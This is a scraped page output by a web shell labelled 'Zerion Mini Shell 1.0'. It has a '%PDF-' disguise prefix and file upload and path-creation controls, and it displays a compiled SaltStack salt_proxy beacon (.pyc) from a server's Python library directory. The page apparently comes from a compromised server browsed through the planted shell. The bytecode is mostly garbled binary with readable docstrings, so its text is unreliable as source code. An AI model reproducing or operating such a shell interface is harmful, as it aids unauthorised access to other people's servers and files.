%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/beacons/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/beacons/salt_proxy.pyc

�
���^c@@sfdZddlmZmZddlZddlmZeje�Z	d�Z
d�Zd�ZdS(ut
    Beacon to manage and report the status of
    one or more salt proxy processes

    .. versionadded:: 2015.8.3
i(tabsolute_importtunicode_literalsN(tmapcC@s�g}x�|D]}}i}td|�dsWtd|dt�dj|�||<n&dj|�}|||<tj|�|j|�q
W|S(uX
    Iterate over a list of proxy
    names and restart any that
    aren't running
    usalt_proxy.is_runninguresultusalt_proxy.configure_proxytstartuProxy {0} was starteduProxy {0} is already running(t__salt__tTruetformattlogtdebugtappend(tproxiestrettproxytresulttmsg((s;/usr/lib/python2.7/site-packages/salt/beacons/salt_proxy.pyt_run_proxy_processess


cC@st|t�s&tjd�tdfSi}tt|j|��d|krXtdfSt|dt�sutdfStdfS(u+
    Validate the beacon configuration
    u3Configuration for salt_proxy beacon must be a list.uproxiesu5Configuration for salt_proxy beacon requires proxies.u3Proxies for salt_proxy beacon must be a dictionary.uValid beacon configuration(	t
isinstancetlistRtinfotFalseRtupdatetdictR(tconfigt_config((s;/usr/lib/python2.7/site-packages/salt/beacons/salt_proxy.pytvalidate%s



cC@s7tjd�i}tt|j|��t|d�S(u�
    Handle configured proxies

    .. code-block:: yaml

        beacons:
          salt_proxy:
            - proxies:
                p8000: {}
                p8001: {}
    usalt proxy beacon calleduproxies(RttraceRRRR(RR((s;/usr/lib/python2.7/site-packages/salt/beacons/salt_proxy.pytbeacon<s
(
t__doc__t
__future__RRtloggingtsalt.ext.six.movesRt	getLoggert__name__RRRR(((s;/usr/lib/python2.7/site-packages/salt/beacons/salt_proxy.pyt<module>s		

Zerion Mini Shell 1.0